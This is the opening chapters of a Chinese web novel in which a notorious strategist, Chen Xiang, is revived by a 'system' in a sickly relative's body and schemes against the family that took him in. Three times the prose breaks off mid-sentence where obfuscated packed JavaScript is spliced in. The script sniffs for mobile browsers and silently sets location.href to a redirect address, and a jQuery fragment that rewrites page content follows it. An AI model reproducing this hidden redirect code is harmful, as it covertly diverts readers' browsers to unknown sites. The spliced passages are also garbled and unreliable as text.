《祸国毒士死后竟成白月光》 1. 第 1 章 陈襄的脑袋“砰”地一声砸在了地上。 这一下摔得他眼冒金星。 待他好不容易缓过神来,才发现自己趴在地上,脸颊紧贴地面,刺骨的寒意从四肢百骸渗入。 他心中涌现出无数的疑问。 什么情况? 这哪儿? 他不是死了吗? 陈襄挣扎着想从地上爬起来,却发现四肢软绵绵的使不上半点力气,脑袋更是痛的晕晕沉沉,眼前一阵阵发黑。 这时,一道机械音突然在他耳边响起。 【叮!系统重启中——】 “系统?”听到这个声音,陈襄当即明白过来,“是你做的?” 没错,这不是他第一次穿越了。 上辈子他穿越到一个类似东汉末年的古代乱世,成为了一名世家子弟。 系统告诉他,这场乱世会持续上百年的时间,打的中原大地十室九空、耗尽生机,最终被外族趁虚而入,中原人被宰杀奴役沦为“两脚羊”。 而他的任务就是要尽快平定天下,避免这样的结局。 不做任务就得死,陈襄无奈从了。他自己没那个征战天下的本事,于是只好拎起包袱去给人家当谋士,累死累活,用十年时间辅佐主公平定了天下,完成了任务。 然后他就安详地去世了。 所以,现在又是怎么一回事? “系统,你这是什么意思?”陈襄质问,“我的任务不是已经完成了吗?” 【系统重启中——】 系统根本没有回答他的话,只一味的重启。 面对对方人工智障的本性,陈襄一腔问责无法发泄。他扶着一旁的床沿艰难地站了起来。 这具身体像是重病未愈,虚弱得很,他挣扎了好几次才勉强站稳。 【叮!检测到系统任务出现问题,请宿主重新返工完成任务!】 系统终于重启完毕,刺耳的机械音让陈襄本就疼痛的头颅嗡嗡作响。 “什么错误,什么返工?”陈襄咬着牙,“你说清楚!” 【有人对宿主恨意深重,妄图为祸天下。请宿主找出仇人,尽快阻止!】 “……”陈襄沉默了。 阿这。 是他的锅? “……这人是谁?” 【请宿主自行探寻。】 陈襄按住突突直跳的太阳穴,面色不可控制的难看了几分。 上辈子他为了快速平定天下,手段狠辣,六亲不认,得罪众多。跟他有仇的人没有一千也有八百。 锁定不了目标,他开口问出一个当前最重要的问题:“现今是哪一年了?” 【元安七年。】系统答道。 他是在元安元年的冬日死去的,也就是说。 这是他死后的第七年。 陈襄瞪大了眼睛。 虽然根据系统的说法,他也猜出时间不会过去的太久。但,才过去七年,他好不容易平定的天下就又要大乱了?! 陈襄不可置信。他努力地回想,试图找出系统口中的那个为祸天下的罪魁祸首。 但一阵头晕眼花让他不得不停止了思考。 他深吸一口气,平复了一下心绪,对系统道:“我现在的身体是什么情况?将原身的记忆传输过来。” 【好的宿主。记忆传输中——】 陈襄扑倒在床上,闭上了眼睛。 …… 原身叫陈湘,是颍川陈氏的旁系子弟,按辈分算是他的族侄。 颍川陈氏在他死后迅速衰败了下去。陈湘背井离乡,从豫州流落到荆州,现寄居在零陵杜氏。原身自幼体弱,这一路的颠沛流离让他感染了风寒,缠绵病榻,今日不过想起身下床,结果身体无力摔在了地上,就这么一命呜呼了。 看到这些记忆,陈襄的心中五味杂陈。 身死族灭。 这四个字说起来何其简单。 颍川陈氏这样的世家大族能一夕衰败,看来有不少人都出手了。 他曾对士族出手,导致明明是他出身家族的陈氏也站在了他的对立面,但没想到即使这样,陈家在他死后也没有躲过被赶尽杀绝的命运。 陈襄自嘲地想:这深刻的体现了在宗族观念颇重的古代,家族中出现一个“逆子”是有多么的痛。 ——虽然他没有去刺杀皇帝,但他做的事情,可比刺杀皇帝拉仇恨多了。 至于零陵杜氏。 陈襄在记忆里搜寻了一下,忆起这是个依附于陈家的小家族,并没有被他特别关注过。 这杜家能在陈氏树倒猢狲散后收留陈氏遗孤,看起来像是知恩义的,但—— 他环顾四周。房间内空荡荡的,透着一股子冷清。一张木床,一张桌子,一把椅子,连个像样的屏风都没有。窗棂上落了一层薄灰,显然许久无人打扫。 原身病重,却连一个照料的人都没有。 这陈湘病死在屋内,恐怕都没人知道。 ……还是说,这正是他们想要看到的? 陈襄接收完记忆,压抑着咳嗽了两声,对系统不满道:“你看你给我选的什么身体?别说去找仇人了,怕是活过两天都难!” 上辈子他虽然一睁眼就变成了三岁的小孩,但好歹身体健康啊。 【此身体跟宿主上辈子的身体亲缘关系相近。】系统人机感满满地回答道。 那你也要看看具体的情况啊! 陈襄疲惫地叹了一口气。 被迫诈尸返工已经很难了,还给他选了这样一个身份、这样一个身体。 智障系统,差评! 便在此时,门外传来一阵脚步声。 陈襄抬眼望去,便见房门被人推开,一名身材矮胖的仆役端着一个碗走了进来。 那仆役看都没看陈襄一眼,直接把碗“咚”地一声放在桌子上:“药来了,赶紧喝了!” 黑乎乎的药汁溅出几滴,在桌面上留下褐色的痕迹。 那仆役转身就想走。陈襄从床上撑起身子,开口将其叫住:“等等。有没有吃的?我饿了。” “午膳时间早就过了,”那仆役回过头,一脸不耐烦地打量了陈襄一眼,“你等着罢!” “要等多久?”陈襄追问。 仆役翻了个白眼,没好气地说:“等晚膳呗!还能等多久?”继而他又用两人都能听清的声音大声“嘟囔”,“一个病秧子,事儿那么多!真是麻烦!” 陈襄挑了挑眉。 上辈子几乎所有人见了他都战战兢兢,大气都不敢喘,如今竟有人在他面前这般放肆,还真有些新奇。倒是让他想起了某些极为久远的记忆。 陈襄端起药碗,却并不急着喝,心中唤了声:“系统,帮我看看这药。” 系统虽是人工智障,但在这些方面还是极好用的。它应声而动,不到一息之间已将药碗中的成分分析透彻。 【川芎、白芷、当归、甘草……还有藜芦与细辛。此两味药材相克,喝下去病症非但不会好转,反倒会加重,请宿主慎用。】 陈襄眉头蹙起,面沉似水。 ——看来他之前所想,并不是当谋士当久了的阴谋论啊。 他眼中光芒一闪,当即向转身离开的仆役呵道:“站住!” 那仆役被吓了一跳,下意识的停住了脚。他继而回过神来,满心的恼怒。 这个病秧子来杜家许久,向来软弱可欺,面对下人们的苛待也是默默忍受,如今竟然敢这么呵斥他? 还真把自己当主子了?! 仆役愤怒地转过身去,刚想发作,却对上了陈襄的眼神。 他猛地打了个寒颤。 只见一名少年坐在床边,苍白瘦弱,唇色浅淡。发色和眸色却是极黑,像是什么精怪一般。 他那一双眼睛幽深不见底,又仿佛两柄利刃,直直地刺入人的心底。 仆役心中一栗,被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647329|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷可怖的气势慑住,只觉得脖颈间像是被人用刀抵住了一般,方才那副轻慢不屑的模样早已荡然无存。 陈襄冷冷地看着他,忽地扬手,将药碗狠狠地摔在了地上。 “啪”的一声脆响! 碎瓷四溅,黑色的药汁泼了那仆役一身。 “好大的胆子!竟敢在本公子药里下毒!” 那仆役膝盖一软,扑通一声跪倒在地:“公子饶命!小人没有!小人没有啊!” 陈襄深吸一口气,厉声喝道:“我乃颍川陈氏子弟,你区区一个仆役,竟敢如此欺辱于我!” “我要见杜家家主!” 这一番声嘶力竭的控诉成功地惊动了院子里的其他人。 效果很好。 陈襄深知这些世家大族的德行。无论内里万般手段、千般龌龊,面子上总是要粉饰太平的。他一个世家子弟借住于杜家,却被仆役下毒? 这件事要是传了出去,整个杜家的脸皮都要被撕下来当厕筹。 他笃定,杜家即使想让他死,也只敢暗中下手,绝不敢摆到明面上。 ——那他就是要闹,闹得人尽皆知,闹得越大越好! 陈襄回忆着某位同僚的“潇洒”风姿,挣扎着从床上下来,也不穿外袍,披散着头发就踉跄往门外走去。 “我便是死,也绝不受此等屈辱!” 那仆役额头上冷汗直冒,吓的六神无主,只一个劲地在地上磕头,却不敢起身阻拦。陈襄暗中舒了一口气。 以他现在的小身板,那仆役要是强硬阻拦,他也没有办法,还好之前成功将人震住,让其不敢拦他。 陈襄走到院子内,这一番动静果然引来了不少人围观。 仆役、侍女们或惊诧、或惶恐地看着他,窃窃私语声不绝于耳。陈襄内心平静,面上却愈发悲愤,仿佛受了天大的委屈,直冲冲地就往院外走。 “这是怎么了?” 一名身着黑衣的青年公子被院子里的喧闹所吸引,闻声而至。 他眉头紧蹙,面容严肃,迈步入院时目光一扫,便一眼看到了站在院中的少年。 对方看起来不过十六七岁,面带病容,仅穿着一袭单薄的白色中衣,墨发如瀑般披散着。 他对上那双燃着火光的黑眸,还未及思量,就见少年的身体摇晃了一下,似是体力不支。 青年公子当即快步上前,伸手欲扶:“可是陈公子?此处发生了何事?” 陈襄猛地甩开那递来的手,怒目而视:“少在这里假惺惺!谁知是不是你指使那仆役给我药中下毒,想要害我性命?” 这一句话虽短,却信息量十足,将事情的原委暴露无遗。 青年公子一愣,显然对陈襄的指控毫不知情,他听到“下毒”二字登时目光一凛:“绝无此事!陈公子何出此言?!” 他说着,锐利的目光扫向从屋内匆匆跑出的仆从,喝问道:“这究竟是怎么回事?” 那仆役汗出如浆,面色惨白道:“二公子……不、不是我……我只是按照吩咐送药……” 陈襄听罢,唇角扯出一抹冷笑,声音中满是讥讽:“事到如今,你还敢狡辩!那药中有——”系统系统! 【藜芦与细辛。】 陈襄:“——藜芦与细辛!这两味药材相克,若非我及时发现,只怕早已一命呜呼了!” 此言一出,四下哗然。 青年公子面色铁青。 他虽不通医理,却也知晓药材相克之说。无论是否为这仆役故意为之,总归是他们杜家失察! 陈襄见目的已经达到,这具身体也支撑到了极限,不再多言,只做出一副悲愤欲绝的模样转身欲走。 才走了两步,他身子一软,便要向后倒去。 他没有摔倒在地上,而是被人稳稳接住。 “快去请医师!” 在周围的一片混乱中,陈襄听到了这句话,终于放心地晕了过去。 2. 第 2 章 陈襄再次睁开眼时,映入眼帘的是一片素雅的浅色床帐。 鼻尖萦绕着淡淡的安神香气,身下是柔软的被褥,与昨日那冰冷僵硬的床板简直是天壤之别。 这才是病人该有的待遇啊。 陈襄翻了个身,舒展了一下四肢,询问系统:“我昏迷了多久?之后发生了什么?” 【七个时辰。宿主晕倒之后,那个杜二公子将你抱回房中,又请了医师给你看病。】 陈襄心中点头。他现在身体虽然还是虚弱无力,但那如影随形的头痛已经大为缓解,思维清晰了不少。 躺在这柔软的床铺上,陈襄一时竟不想起来。 但他翻身的动静被门外之人听见了。房门“吱呀”一声被人推开,陈襄循声望去,只见一个小丫鬟探头探脑地往里瞧。 她与陈襄四目相对,见陈襄醒了,眼睛一亮。 “公子您醒了?”小丫鬟快步进来,扶着陈襄坐起身,“公子可觉得渴了?饿了?可还有哪里不舒服?” 陈襄摇摇头,刚想开口却发现嗓子有些干哑。 小丫鬟观察他的神色,机灵地给他倒了一杯茶,又细心地在他身后垫了一个软枕。 茶水温度适中,陈襄一饮而尽。 “多谢,”他清了清嗓子,正欲再度开口,却见那小丫鬟一拍脑门。 “我去通知二公子,公子您稍等!” 诶,等—— 对方急匆匆地就转身跑了出去,陈襄伸出去的手僵在半空。 “……” 他无奈地叹了一口气,闭目养神。也好,他现下正好再将原身的记忆梳理一番。昨日兵荒马乱,有着不少疏漏。 不知过了多久,房门被叩响。 陈襄睁开眼:“请进。” 得到应允之后,房门被人推开,果然是昨日见过的那位杜二公子。他甫一走进房间内,就对着陈襄深深一揖:“昨日之事,实在是杜家失察,竟让公子——” 陈襄心中警铃大作。 这人一看就是要开始长篇大论,他轻咳两声,忙不迭打断道:“咳咳,杜公子先坐、先坐。” 这个杜二公子看着年纪不大,怎么一副拘谨的老古板的样子。跟他某位昔日政敌一样。 杜二公子被打断,向陈襄道谢一声后便在不远处的椅子上坐下,腰背笔直,像是一块直挺挺的笏板。 “陈公子的身体可好些了?”杜二公子声音中带着歉意,他见陈襄脸色虽苍白,但精神却比昨日好了许多,眼中的担忧才稍稍褪去。 陈襄道:“已无大碍了。” “医师说公子身体虚弱,需要卧床静养。这几日公子便安心住在这里,若有任何需要尽管吩咐下人便是。” 杜二公子神情郑重:“昨日之事,乃是府医粗心大意开错了药,幸好公子懂得药理,不然险些酿成大祸。这件事乃是杜家失察。” “我父亲已经将那庸医赶出府邸,重新请了城中老字号的医师来为公子医治,这样的事情绝不会再发生!” 粗心大意? 陈襄心中自是不信的。 但他仔细观察面前的青年,见他目光清正,言辞恳切,料这事确与他无关。 想来也是,对方看起来年尚不及冠,又不过是府中小辈,这种事情自然不会让他知晓。 陈襄没有向他迁怒的意思,只淡淡地应了一声,像是不愿再提此事。他身体动了动,调整了个更舒服的姿势:“还未请教公子尊姓大名?” 原身一直缠绵病榻,其他人不好来拜见。昨日是两人第一次见面。 杜二公子一愣。 “是在下疏忽了!” 他忙从座位上站起,先是整理了一下衣衫,而后恭恭敬敬地对着歪在床上的陈襄一揖:“衡,见过陈公子。家父在族中行二,现今乃是零陵县县丞。” 乍听见对方的自称,陈襄恍惚了一下,眼前浮现出一片模糊的萧疏月影。 衡、珩。 对方的名字,让他想起了一位故人。 但陈襄很快便回过神来。他将注意力放在杜衡的话语当中。 杜家的二老爷,杜旭,在记忆当中是做主收留原身的人。可,杜家家主态度不明。 陈襄的手指不自觉地敲点着锦被,心中思虑着,面上却云淡风轻:“可是缭之兮杜蘅的蘅?” 杜衡直起身来,认真地答道:“是‘衡诚县矣,则不可欺以轻重①’的衡。” 陈襄的眼珠转向他。 他向来不耐烦那些佶屈聱牙的经史子集,常常偷懒只“观其大略”。但这句话出自《礼记·经解》,因曾被当代大儒注解,故而他有些印象。 ——衡锤的精确悬置意味着公正无私,任何轻重都不会被轻易误导②么。 希望对方真能如此。 陈襄身在床上,也没有下去的意思,只随意地向对方拱了拱手:“好名字。在下陈湘,想必杜公子已然知晓了。” “陈公子的名字亦是极好,”杜衡正色道,“与武安候同名,必定也是才华横溢之人。” 陈襄一时没有反应过来这个“武安侯”是何人。 愣了两秒,他才反应过来这个武安侯就是他自己。 上辈子,他主公出身微寒,起初无人看好,更无文士投效。刚出山的他只得一人干所有人的活,既当张良又做萧何,苦不堪言。 待天下平定之后,主公念及旧功,赞他“能抚养军士,战必克,得百姓安集③”,赐封武安候,位居众臣之首。 可惜了,他得此侯位未满一年便被抄家问斩,名号都未曾听人唤过几声,一时想不起来情有可原。 就是,让陈襄没想到的是,这杜衡竟还夸他功绩? ——他还以为自己在世家中的名声已经人人喊打了呢。 不过他暂时无意在此事上寻文章,只轻笑一声:“非也,在下的‘湘’乃是湘江之水的湘。” 两人又闲话几句,杜衡见陈襄面色渐显疲态,便主动起身告辞:“陈公子身体尚未痊愈,还需好生休养。在下便不打扰了。” 陈襄忽然唤住对方:“杜公子且慢,在下有一事相求。” “何事?请尽管告知在下。”杜衡道。 “我来杜家许久,却未曾拜见过杜家家主,” 陈襄声音缓缓道,“不知三日后令伯父可有闲暇,能否托付杜公子代为问询一声?” 杜衡没有犹豫便答应下来:“好,我回去向伯父问询一声。” 待杜衡身影消失在门外,陈襄脸上的疲惫之色顿时褪去大半。 他靠在床头,目光穿过窗户,落在外间的阳光之上。 二月草木新生,窗外春光明媚,微风拂过树梢,将阳光与绿叶揉碎成一幅生机盎然的画卷。 “系统,帮我查查炎兴三年荆州供给朝廷的粮草数量,要具体数目。” 对于如何拯救系统给他的这个天崩开局,他心中已有些想法了。 【好的宿主。】 …… 杜家后堂。 两人面对而坐,空气凝滞如铁。 “大哥!你怎能如此糊涂!”杜旭猛地一拍桌案,木质的桌案发出沉闷的声响,震得茶盏微微跳动。 杜勉捻着微微花白的胡须,眼皮微抬:“二弟在说何事啊?” 杜旭双拳紧握:“大哥何必不承认!陈湘是我请到家中的客人,那医师若非是被你指使,怎敢在他的药中下毒?!” “休得胡言!” 杜勉冷哼一声,将茶盏重重放到桌上:“那医师是因为粗心大意才开错药物,此人不是已经被你逐出府中了么。” “大哥!”杜旭不容他蒙混,上前一步逼视着他,“陈湘是陈家的遗孤,你为何容不下他?” “如今的陈家,早就败落了!” 杜勉眼中闪过一丝恼怒:“陈襄那竖子当年手段狠辣,得罪了多少人?不仅对士族大肆屠杀,那什么‘科举’更是将我们往死路上逼!” “如今他死了,那些被他得罪过的人能放过陈家?!这是他自作孽!” “陈湘不过一孺子!”杜旭声音提高,“我们收留他也算是为陈家留下一丝血脉!” “二弟!”杜勉终于按捺不住,猛地起身,“你以为陈家为何会一夕败落?那是因为有人要他们死、死干净!” “那陈湘留在我们杜家,就是一个烫手的山芋。我们杜家,惹不起啊!” 事关杜家,杜旭语气也弱了下来,他的脸色一阵青一阵白:“陈家于我们有恩……” “有恩?”杜勉冷笑一声,“那都是过去的事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜勉端坐于主位,杜旭在其下首,见陈襄进来,两人的神情各有不同。杜勉面上带着温和的笑意,杜旭则是眉头微蹙,神色有些复杂。 “陈贤侄,身体可大好了?”杜勉率先开口,语气宛然一个慈祥的长辈。 陈襄微微颔首:“多谢杜家主关心,小辈已无大碍。” “快入坐,”杜勉伸手示意,和善道,“这几日可有好好用药?那新来的医师是否妥当?” 陈襄步履轻盈,从容落座:“杜家主安排的医师医术精湛,小辈受益良多。” 杜勉又关切了几句陈襄的近况,陈襄一一应答,进退有度,将颍川陈氏的教养展现得淋漓尽致。 谁都没有提及之前的事情,仿佛药中被下毒之事不曾发生过。 一番寒暄之后终于开宴。 席间觥筹交错,杯盏相碰的声音悦耳动听。乐师轻抚琴弦,悠扬的乐声在堂内回荡。 杜勉不时举杯祝酒,杜旭时而搭几句话。气氛无比和谐。 酒过三巡,菜过五味,杜勉轻咳一声,似是终于想起陈襄有事寻他,开口道:“听闻陈贤侄有事要见老夫,不知是何事啊?” 陈襄放下手中的漆箸,微微一笑道:“也不是什么大事。” “只是想问问,杜家主可还记得炎兴三年之旧事乎?” 他语气轻描淡写,仿佛只是随口一提。 少年的声音本是质相清润如玉珠落盘,但此刻回荡在大堂之中,却如惊雷炸响。 满座寂静。 炎兴三年。 十一年前。 那年大旱,赤地千里、寸草不生。 彼时的开国之君、太祖殷尚也难逃粮草短缺的困境,他麾下的谋主陈襄便献上了一计——攻打富庶的徐州。 殷尚听从计策。战后屠城、坑杀八万降卒。 ——此战过后,陈襄“毒士”之名传遍天下。 “哐当——” 杜勉的手一抖,手中的杯子重重砸在桌案上。 3. 第 3 章 武安侯,陈襄。 即使对方已经死去了七年,仍积威甚重,想到他的手段,天下之人仍为之胆寒。 杜勉顾不上去管那泼洒到他衣袖上的酒水,脸色铁青地瞪着陈襄:“武安侯行径之丧心病狂,早已被天下人唾骂!你以为用此事便能恐吓老夫?!” 陈襄却像是什么都没发生一般,只无辜地眨眨眼睛,道:“杜家主误会了,我说的并非此事。” 杜勉面色阴沉地盯着陈襄。 陈襄话锋一转,语气淡淡道:“炎兴三年,荆州本应供给朝廷的粮草为二十万石。” 他顿了顿,目光扫过杜勉那张顷刻变色的脸,继续说道:“——可实际上,运抵前线的,只有区区二万石。足足少了九成。” “炎兴二年,荆州上报的粮草数目是三十五万石,实际运到的,不足八万石。” “炎兴元年……” 陈襄每报出一个数字,杜勉的脸色就更加难看一分。 杜勉胡须颤抖,心中只有一个想法。 ——他为何会知道的如此清楚? 陈襄一边念出这些被系统整理好的数据,一边思绪飘飞到了那段艰难的岁月。 炎兴三年,是主公殷尚迎立前朝少帝的第三个年头。 那一年,中原大地遭遇百年不遇的大旱,百姓颗粒无收,饿殍遍野。士族却囤积着大量的粮食,不肯拿出来赈济灾民。 即使以皇帝名义命令他们供给朝廷赈灾粮草,那些士族也因见主公有崛起之势而迟迟不肯拨付,更是阻挠原本官仓的调度供给。 他们想让主公这个从草根崛起的军阀向他们这些高高在上的士族低头。 但主公不会低头。 他陈襄也不会。 乱世当中,拳头才是硬道理。 既然不给,那他就去抢! “……虽说那几年大旱,但官仓之中不可能没有存粮,”陈襄的声音平缓而低沉,“可这些粮食,都去哪儿了呢?” 他抬眼直视杜勉的眼睛,语气幽幽地开口:“我记得当时负责押运粮草的掾史,正是杜家人罢?” 他当时因着处理徐州之战的战后……还有一些别的事情焦头烂额。 不供给粮草的并非只有荆徐二地,此战目的业已达到:一为获得粮草,二为震慑那些不安分的人。杜家又抱着陈家大腿,他也无暇顾及这些小人物。 然而此时,他却又将此事提了出来。 杜勉额头渗出细密汗珠。 他已明白陈襄的未尽之意。 这件事本来在士族当中心照不宣,又已经过去了十一年,说大不大,说小不小。 但武安侯死去,陈家倒台,并不仅意味着一个家族的落魄,更意味着背后利益的重新洗牌。 曾经依附于陈家的势力接连倒塌,无数双眼睛正虎视眈眈地盯着这些空出来的利益和地盘。 就单拿这小小的零陵郡来说,除了杜家之外,还有卢家、范家。 一旦杜家贪污粮草的丑闻被人掀出来,他们会放过这个千载难逢的机会么? 而现任的荆州刺史,为了巩固自己的地位,为了向新朝廷表忠心,会不会也顺手将杜家处理掉,作为一份邀功的“功绩”呢? 陈襄轻轻叹了口气:“杜家主,您身后还有整个杜家,需深思熟虑啊。” 字字如刀,直戳杜勉心底。 杜勉目光骇然地看向这个身量单薄、面上尤带病容的少年。 陈襄还是像先前那样静静地坐于下位,但杜勉却再也无法像先前那样只把他当做一个乳臭未干的黄口小儿。 他不知道陈襄的年纪如此之轻,到底是如何知晓当年之事的。更令他心神巨震的是,他竟从陈襄那气定神闲、却一刀见血的手段当中,看到了当年那位令天下人闻风丧胆的,武安侯的影子! “你……你究竟想做什么?!” 陈襄没有立刻回答。 他慢条斯理地端起酒杯,不疾不徐地抿了一口。 大堂内一片死寂。所有人都屏住了呼吸,气氛仿佛凝固了般,落针可闻。 良久,陈襄才缓缓放下酒杯:“今年的科举会试,也快要开始了罢?” 杜勉的冷汗涔涔而下,却被这突如其来的转折弄得一头雾水。 他完全摸不透陈襄的意图,只能强自镇定下来,硬着头皮问道:“你这是何意?此事与科举有何干系?” 陈襄轻笑一声:“杜家主不必紧张。我只是希望,杜家主能将我送去长安,参加科举。” 杜勉瞪大了眼睛,几乎不敢相信自己的耳朵:“你、你只是要求这个?!” “对,就是这个。”陈襄装模作样地叹了口气,“杜家好心收留了襄,但襄却不忍心连累杜家啊。” 杜勉:“……” 杜勉的表情扭曲成了一团。 陈襄道:“借科举之名将我送走,既已算是杜家对陈家仁至义尽,又不用担心收留我会引来什么祸事,与陈家彻底完成切割,岂不两全其美?” 杜勉心中惊疑不定。 他实在想不明白,为何陈襄会提出这样一个要求。 按理说,陈家既已败落,陈襄最应该做的就是找个地方隐姓埋名。可他却偏偏要去长安,主动往漩涡里跳,这岂非自寻死路? 他难道不知道,想对陈家赶尽杀绝之人,最大的可能便是在长安城内吗?! “不可!” 还未等杜勉说话,杜旭就忍不住站起身,大声反对。 陈襄刚刚的那番表现让杜旭瞠目结舌,他惊觉自己从来都没有真正的了解过这位被他好心收留的少年。 虽知晓陈襄并不是什么小可怜,但杜旭还是担忧地看向陈襄,语气焦急道:“长安乃是是非之地,你如今的身份怎可再到那里去?万万不可啊!” 陈襄心中一声感叹。 这位能在陈家败落后收留陈湘的杜家二老爷,倒是一番真心。 他缓缓起身,对着杜旭一揖:“伯父的好意,小侄心领了。只是陈家遭此大难,我身为陈家子弟岂能苟且偷生。” “此番进京,一为求取功名,重振陈家门楣;二也为查明真相,以直报怨。” 他此番话说得义正言辞,掷地有声,将一个心怀家族、不畏艰险的世家子弟形象表演的淋漓尽致。 杜旭眼中闪过一丝感动之色,还想再劝,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647331|172757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被杜勉用严厉的眼神制止。 “好!好!” 杜勉长吸一口气:“既然你执意如此,那老夫自然要答应!过几日,你便同衡儿一同出发,去长安参加科举!” 不管陈襄到底是怎么想的,既然他自己提出要去长安送死,杜勉自是求之不得。 他巴不得陈襄这个烫手山芋早日离开杜家、离开零陵! 陈襄的目的达成,也不吝礼貌一笑,向杜勉行礼道:“那便多谢杜家主义薄云天、深明大义了。” 杜勉的表情再次扭曲。 …… 宴会散后,陈襄被一名侍女引着回到房中。 那侍女先前也在宴上侍奉,目睹了方才的刀光剑影,现下竟不敢直视陈襄。 她低眉顺眼地将陈襄送至门口,陈襄道了声谢,侍女竟一脸恐惧,匆匆一礼后如受惊的小兔般急忙跑走。 陈襄见状,不免在心中一叹:终于找回上辈子熟悉的感觉了。 他走入房间,将外袍脱下随手一扔,拔下发簪令黑发泼洒下来。而后便一头栽进柔软的被褥当中。 疲惫之感顿时涌上心头。 病来如山倒,病去如抽丝。陈襄上辈子身体健康很少生病,这次可算体会到了重病缠身的感觉。 病还没好全呢,就要费心费力地与人勾心斗角。 陈襄不禁回忆起了他那位潇洒的同僚。此君身体不好,三天一小病五天一大病,却还能精神焕发、放浪形骸。 “……真不知那家伙是如何做到的。”陈襄双目放空,喃喃自语。 借科举之名重返长安,是陈襄前几日思考后做出的决定。 他死去七年,对如今的世事变化所知甚少,再无法像之前那般掌上观文。若想完成任务,找出那欲为祸天下的仇人,必须得亲自前往都城长安。 陈襄猜测既然此人对他恨意如此深重,那或许就是覆灭陈家的幕后之人,即使不是也定然有所关联。 他如今的身份是陈家遗孤,无法躲避,那就光明正大地走到矛盾的最中心去。 他最不惧的就是以身为饵。 就让他看看,他好不容易平定了的天下,又有谁在搞事! 陈襄陷在柔软的被褥里,整个人像一尾搁浅的鱼。他心中思绪翻飞。 那些被他上辈子得罪过的仇人们,如今怕是都已在朝堂上身居高位了罢? 当初主公出身不好,那些个自诩清高的名士一个个眼高于顶,压根儿不愿投效。以至于,他的绝大部分“同僚”,都是不情不愿的被他强取豪夺来的。 包括但不限于诱拐、威胁、绑架、俘虏…… 咳。 想到这里,陈襄心虚地咳嗽一声。 没办法,谁让正经途径招揽不来人才呢?他只能另辟蹊径。 强扭的瓜虽然不甜,但是解渴,陈襄自我安慰。不然随着主公的势力逐步扩大,他一个人拆东墙补西墙,实在是忙不过来。 他也是被逼无奈啊! 陈襄咸鱼翻了个身,对着帐顶的雕花双眼放空,思绪飘到了那个一直徘徊在他脑海中的身影身上。 ——荀珩。 他的师兄。 4. 第 4 章 陈襄闭上眼,脑海中浮现出昔日的一幕幕。 颍川陈氏与荀氏,素有姻亲,交情匪浅。他与荀珩从小一起长大,青梅竹马、情谊深厚。后来又一同拜入当世大儒荀公门下,成了同门师兄弟。 ——可他们终究不是一路人。 他为了达成目的可以不择手段,阴谋诡计无所不用其极;师兄却是真正的君子,玉洁松贞,宛若天上的明月般皎洁无暇。 道不同,不相为谋。 自他出山辅佐主公后,两人之间的关系就再也不复从前。后来,他自己更是丝毫不念及往昔的情分,将师兄打败后强行掳来纳入麾下。 自此,两人关系降至冰点。 陈襄烦躁地翻了个身,踢了踢一旁无辜的被子。 他早就料到会有这么一天。可每每想起,还是忍不住心生叹惋。 师兄……一直不认同他的所作所为。即使后来两人同在一方阵营,也是话不投机半句多,见面就吵。 到最后干脆视而不见,冷漠疏离,形同陌路。 师兄恨他么? 陈襄也曾这么想过,但很快,他就否定了这个想法。 不,不会的。 师兄那样风光霁月的人,若是遇到讨厌的人,顶多就是割袍断义、老死不相往来。“恨”这种强烈而负面的情绪,怎么会出现在他师兄身上。陈襄光是想想就觉得不可能。 说不定,师兄见他死得这么惨,还会秉承着同僚情谊为他收尸? 这个念头突如其来地冒了出来。紧接着,荀珩绷着那张冰清玉洁的脸,披麻戴孝地跪坐在他棺材前的画面,不受控制的出现在了陈襄的脑海里。 陈襄“噗嗤”一声笑出来。 这副画面实在太过违和,戳中了他诡异的笑点。 他越想越觉好笑,从一开始的憋笑,到后来控制不住地放声大笑,最后甚至笑得岔了气,引发了一阵剧烈的咳嗽,整个人都蜷缩成了一团,脸色涨得通红。 好半晌,他才止住了咳嗽,抬手抹去眼角的泪花。 天下都平定七年了,他也死了七年了,两人曾经的恩怨早该随着他的死亡一同归于尘土。 他突然“诈尸”,师兄会不会吓一大跳? 想到这里,陈襄有些跃跃欲试起来。 决定了。等到了长安,先去拜访一下师兄罢。找一个月明星稀的夜晚,悄悄翻进他院子里! 反正那个在他死后恨了他七年,恨到想要为祸天下的人,绝对不可能是他的师兄啦。 做出了这个决定,陈襄的心情大好。 他舒展四肢,仰面放松地躺在床上。他抬起手臂,借着窗外透进来的光线,看到了自己细瘦伶仃的手腕。 眼下最重要的事情就是好好休息,好好养病。只有把这具身体养好了,才能面对接下来的事。 陈襄下定决心,今后这几天什么都不做,除了吃就是睡! 然而。 “陈兄,你对于当今的科举是如何看待的?”杜衡手捧书卷,正襟危坐,目光炯炯地看着陈襄。 陈襄:“……” 这几日,杜衡得知了陈襄也要一同前往长安参加科举,十分高兴。 他并不知晓陈襄与杜家家主之间的那些龃龉,主动登门拜访,热情地与陈襄探讨科举相关的内容。 前两日他拉着陈襄探讨经史典籍,陈襄苦不堪言。 